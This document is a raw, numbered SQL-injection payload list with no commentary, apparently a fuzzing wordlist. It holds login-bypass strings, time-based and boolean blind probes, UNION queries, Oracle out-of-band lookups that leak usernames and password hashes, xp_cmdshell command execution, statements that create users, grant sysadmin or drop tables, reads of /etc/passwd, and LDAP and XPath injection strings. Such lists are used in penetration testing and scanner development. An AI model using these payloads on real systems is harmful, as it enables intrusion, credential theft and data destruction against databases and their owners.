8Qw8UKjz

18888'+AND+'1'+LIKE+'1 -->
28888'+AND+'2'+LIKE+'1 -->
38888'+AND+(@@TEXTSIZE>@@LANGID)+AND+'1'+LIKE+'1 -->
48888'+AND+(@@LANGID>@@TEXTSIZE)+'1'+LIKE+'1 -->
5'-'
6' '
7'&'
8'^'
9'*'
10' or ''-'
11' or '' '
12' or ''&'
13' or ''^'
14' or ''*'
15"-"
16" "
17"&"
18"^"
19"*"
20" or ""-"
21" or "" "
22" or ""&"
23" or ""^"
24" or ""*"
25or true--
26" or true--
27' or true--
28") or true--
29') or true--
30' or 'x'='x
31') or ('x')=('x
32')) or (('x'))=(('x
33" or "x"="x
34") or ("x")=("x
35")) or (("x"))=(("x
36or 1=1
37or 1=1--
38or 1=1#
39or 1=1/*
40admin' --
41admin' #
42admin'/*
43admin' or '1'='1
44admin' or '1'='1'--
45admin' or '1'='1'#
46admin' or '1'='1'/*
47admin'or 1=1 or ''='
48admin' or 1=1
49admin' or 1=1--
50admin' or 1=1#
51admin' or 1=1/*
52admin') or ('1'='1
53admin') or ('1'='1'--
54admin') or ('1'='1'#
55admin') or ('1'='1'/*
56admin') or '1'='1
57admin') or '1'='1'--
58admin') or '1'='1'#
59admin') or '1'='1'/*
601234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
61admin" --
62admin" #
63admin"/*
64admin" or "1"="1
65admin" or "1"="1"--
66admin" or "1"="1"#
67admin" or "1"="1"/*
68admin"or 1=1 or ""="
69admin" or 1=1
70admin" or 1=1--
71admin" or 1=1#
72admin" or 1=1/*
73admin") or ("1"="1
74admin") or ("1"="1"--
75admin") or ("1"="1"#
76admin") or ("1"="1"/*
77admin") or "1"="1
78admin") or "1"="1"--
79admin") or "1"="1"#
80admin") or "1"="1"/*
811234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
82a:1:{s:+13:":new:username";O:67:"EllisLab\\\ExpressionEngine\\\Library\\\Parser\\\Conditional\\\Token\\\Variable":1:{s:+6:"lexeme";s:+'.$length.':"1+UNION+SELECT+SLEEP(5)+#+'.$garbage.'";}}
832 and 456=678
842 or 345=345
852 order by 9999
862 order by 1
872/0 and 456=678
882/1 or 345=345
892/*f*/and/*f*/456=678
902/*f*/or/*f*/345=345
91a' and '456'='678
92a' or '345'='345
93a' and 'fghi'='fghj'-- #
94a' or 'dfth'='dfth'-- #
95a' order by 9999-- #
96a' order by 1-- #
97a'and/*g*/456=678-- #
98a'or/*g*/345=345-- #
99a' and '456'='678
100a' or '345'='345
101a' and 'fghi'='fghj'#
102a' or 'dfth'='dfth'#
103a' order by 9999#
104a' order by 1#
105a'||/**/456=678#
106a'||/**/345=345#
107a' and '456'='678
108a' or '345'='345
109a' and 'fghi'='fghj'--
110a' or 'dfth'='dfth'--
111a' order by 9999--
112a' order by 1--
113a'and/*d*/456=678--
114a'or/*d*/345=345--
115a' and '456'='678
116a' or '345'='345
117a' and 'fghi'='fghj'-- #
118a' or 'dfth'='dfth'-- #
119a' order by 9999-- #
120a' order by 1-- #
121a'and/*g*/456=678-- #
122a'or/*g*/345=345-- #
123345'%5d|//*|/a%5b'a
124456'%5d|//a|/a%5b'a
125345')%5d|//*|/a%5bcontains(a,'b
126456')%5d|//a|/a%5bcontains(a,'b
127a" and "456"="678
128a" or "345"="345
129a" and "fghi"="fghj"-- #
130a" or "dfth"="dfth"-- #
131a" order by 9999-- #
132a" order by 1-- #
133a"and/*g*/456=678-- #
134a"or/*g*/345=345-- #
135345"%5d|//*|/a%5b"a
136456"%5d|//a|/a%5b"a
137345")%5d|//*|/a%5bcontains(a,"b
138456")%5d|//a|/a%5bcontains(a,"b
1391 waitfor delay '0:0:X'--
1401; waitfor delay '0:0:X'--
1411'; waitfor delay '0:0:X'--
1421); waitfor delay '0:0:X'--
1431)); waitfor delay '0:0:X'--
1441'); waitfor delay '0:0:X'--
1451')); waitfor delay '0:0:X'--
1461 or benchmark(100000000,MD5(1))#
1471' or benchmark(100000000,MD5(1))#
1481) or benchmark(100000000,MD5(1))#
1491') or benchmark(100000000,MD5(1))#
1501)) or benchmark(100000000,MD5(1))#
1511')) or benchmark(100000000,MD5(1))#
1521/(select UTL_INADDR.get_host_address('n0where329.z0m') from dual)--
1531' AND 1=UTL_INADDR.get_host_address('n0where329.z0m')--
1541 waitfor delay '0:0:X'--
1551; waitfor delay '0:0:X'--
1561'; waitfor delay '0:0:X'--
1571); waitfor delay '0:0:X'--
1581)); waitfor delay '0:0:X'--
1591'); waitfor delay '0:0:X'--
1601')); waitfor delay '0:0:X'--
1611 or benchmark(100000000,MD5(1))#
1621' or benchmark(100000000,MD5(1))#
1631) or benchmark(100000000,MD5(1))#
1641') or benchmark(100000000,MD5(1))#
1651)) or benchmark(100000000,MD5(1))#
1661')) or benchmark(100000000,MD5(1))#
1671/(select UTL_INADDR.get_host_address('n0where329.z0m') from dual)--
1681' AND 1=UTL_INADDR.get_host_address('n0where329.z0m')--
169'sqlvuln
170'+sqlvuln
171sqlvuln;
172(sqlvuln)
173a' or 1=1--
174"a"" or 1=1--"
175 or a = a
176a' or 'a' = 'a
1771 or 1=1
178a' waitfor delay '0:0:10'--
1791 waitfor delay '0:0:10'--
180declare @q nvarchar (4000) select @q =
1810x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
1820
183031003000270000
184declare @s varchar(22) select @s =
1850x77616974666F722064656C61792027303A303A31302700 exec(@s)
1860x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
187declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
188exec(@s)
189a'
190?
191' or 1=1
192‘ or 1=1 --
193x' AND userid IS NULL; --
194x' AND email IS NULL; --
195anything' OR 'x'='x
196x' AND 1=(SELECT COUNT(*) FROM tabname); --
197x' AND members.email IS NULL; --
198x' OR full_name LIKE '%Bob%
19923 OR 1=1
200'; exec master..xp_cmdshell 'ping 172.10.1.255'--
201'
202'%20or%20''='
203'%20or%20'x'='x
204%20or%20x=x
205')%20or%20('x'='x
2060 or 1=1
207' or 0=0 --
208" or 0=0 --
209or 0=0 --
210' or 0=0 #
211 or 0=0 #"
212or 0=0 #
213' or 1=1--
214" or 1=1--
215' or '1'='1'--
216' or 1 --'
217or 1=1--
218or%201=1
219or%201=1 --
220' or 1=1 or ''='
221 or 1=1 or ""=
222' or a=a--
223 or a=a
224') or ('a'='a
225) or (a=a
226hi or a=a
227hi or 1=1 --"
228hi' or 1=1 --
229hi' or 'a'='a
230hi') or ('a'='a
231"hi"") or (""a""=""a"
232'hi' or 'x'='x';
233@variable
234,@variable
235PRINT
236PRINT @@variable
237select
238insert
239as
240or
241procedure
242limit
243order by
244asc
245desc
246delete
247update
248distinct
249having
250truncate
251replace
252like
253handler
254bfilename
255' or username like '%
256' or uname like '%
257' or userid like '%
258' or uid like '%
259' or user like '%
260exec xp
261exec sp
262'; exec master..xp_cmdshell
263'; exec xp_regread
264t'exec master..xp_cmdshell 'nslookup www.google.com'--
265--sp_password
266\x27UNION SELECT
267' UNION SELECT
268' UNION ALL SELECT
269' or (EXISTS)
270' (select top 1
271'||UTL_HTTP.REQUEST
2721;SELECT%20*
273to_timestamp_tz
274tz_offset
275<>"'%;)(&+
276'%20or%201=1
277%27%20or%201=1
278%20$(sleep%2050)
279%20'sleep%2050'
280char%4039%41%2b%40SELECT
281&apos;%20OR
282'sqlattempt1
283(sqlattempt2)
284|
285%7C
286*|
287%2A%7C
288*(|(mail=*))
289%2A%28%7C%28mail%3D%2A%29%29
290*(|(objectclass=*))
291%2A%28%7C%28objectclass%3D%2A%29%29
292(
293%28
294)
295%29
296&
297%26
298!
299%21
300' or 1=1 or ''='
301' or ''='
302x' or 1=1 or 'x'='y
303/
304//
305//*
306*/*
307a' or 3=3--
308"a"" or 3=3--"
309' or 3=3
310‘ or 3=3 --
311a
312a'
313a' --
314a' or 1=1; --
315@
316?
317' and 1=0) union all
318? or 1=1 --
319x' and userid is NULL; --
320x' and email is NULL; --
321anything' or 'x'='x
322x' and 1=(select count(*) from tabname); --
323x' and members.email is NULL; --
324x' or full_name like '%bob%
32523 or 1=1; --
326'; exec master..xp_cmdshell 'ping 172.10.1.255'--
327a
3281 or 1=1
3291' or '1'='1
3301 and user_name() = 'dbo'
3311
3321'1
3331 exec sp_ (or exec xp_)
3341 and 1=1
3351' and 1=(select count(*) from tablenames); --
3361
3371 and user_name() = 'dbo'
338\'; desc users; --
3391\'1
3401' and non_existant_table = '1
341' or username is not NULL or username = '
3421 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
3431 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
3441 uni/**/on select all from where
345’ or ‘1’=’1
346' or '1'='1
347'||utl_http.request('httP://192.168.1.1/')||'
348' || myappadmin.adduser('admin', 'newpass') || '
349' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
350' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
351' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
352' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
353' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
354' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
355' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
356' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
357' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
358' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
359' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
360' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
361' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
362' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
363' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
364' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
365' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
366' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
367' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
368' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
369' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
370' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
371' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
372' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
373' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
374' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
375' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
376' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
377' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
378' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
379' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
380' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
381' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
382' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
383' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
384' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
385' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
386' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
387' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
388' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
389' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
390' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
391' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
392' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
393' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
394' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
395' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
396' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
397' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
398' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
399'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
400||6
401'||'6
402(||6)
403' or 1=1--
404or 1=1
405' or '1'='1
406; or '1'='1'
407" or isNULL(1/0) /*
408' or '7659'='7659
409" or isNULL(1/0) /*
410' --
411' or 1=1--
412" or 1=1--
413' or 1=1 /*
414or 1=1--
415' or 'a'='a
416" or "a"="a
417') or ('a'='a
418admin' or '
419' select * from information_schema.tables--
420) union select * from information_schema.tables;
421' having 1=1--
422' having 1=1--
423' group by userid having 1=1--
424' select name from syscolumns where id = (select id from sysobjects where name = tablename')--
425' or 1 in (select @@version)--
426' union all select @@version--
427' or 'unusual' = 'unusual'
428' or 'something' = 'some'+'thing'
429' or 'text' = n'text'
430' or 'something' like 'some%'
431' or 2 > 1
432' or 'text' > 't'
433' or 'whatever' in ('whatever')
434' or 2 between 1 and 3
435' or username like char(37);
436' union select * from users where login = char(114,111,111,116);
437' union select
438password:*/=1--
439uni/**/on sel/**/ect
440'; execute immediate 'sel' || 'ect us' || 'er'
441'; exec ('sel' + 'ect us' + 'er')
442'/**/or/**/1/**/=/**/1
443' or 1/*
444 or isNULL(1/0) /*
445' or '7659'='7659
446" or isNULL(1/0) /*
447' -- &password=
448'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
449@var select @var as var into temp end --
450' and 1 in (select var from temp)--
451' union select 1,load_file('/etc/passwd'),1,1,1;
4521;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
453' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
454'; exec master..xp_cmdshell 'ping 10.10.1.2'--
455create user name identified by 'pass123'
456create user name identified by pass123 temporary tablespace temp default tablespace users;
457' ; drop table temp --
458exec sp_addlogin 'name' , 'password'
459exec sp_addsrvrolemember 'name' , 'sysadmin'
460insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123'))
461grant connect to name; grant resource to name;
462insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
463' or 1=1 --
464' union (select @@version) --
465' union (select NULL, (select @@version)) --
466' union (select NULL, NULL, (select @@version)) --
467' union (select NULL, NULL, NULL,  (select @@version)) --
468' union (select NULL, NULL, NULL, NULL,  (select @@version)) --
469' union (select NULL, NULL, NULL, NULL,  NULL, (select @@version)) --
470'; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' --
471'; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' --
472'; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' --
473'; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' --
474'; if not(select system_user) <> 'sa' waitfor delay '0:0:2' --
475'; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' --
476'; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' --
477'; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' --
478' or '1'='1
479' or ''='
480x' or 1=1 or 'x'='y
481/
482//
483//*
484*/*
485@*
486count(/child::node())
487x' or name()='username' or 'x'='y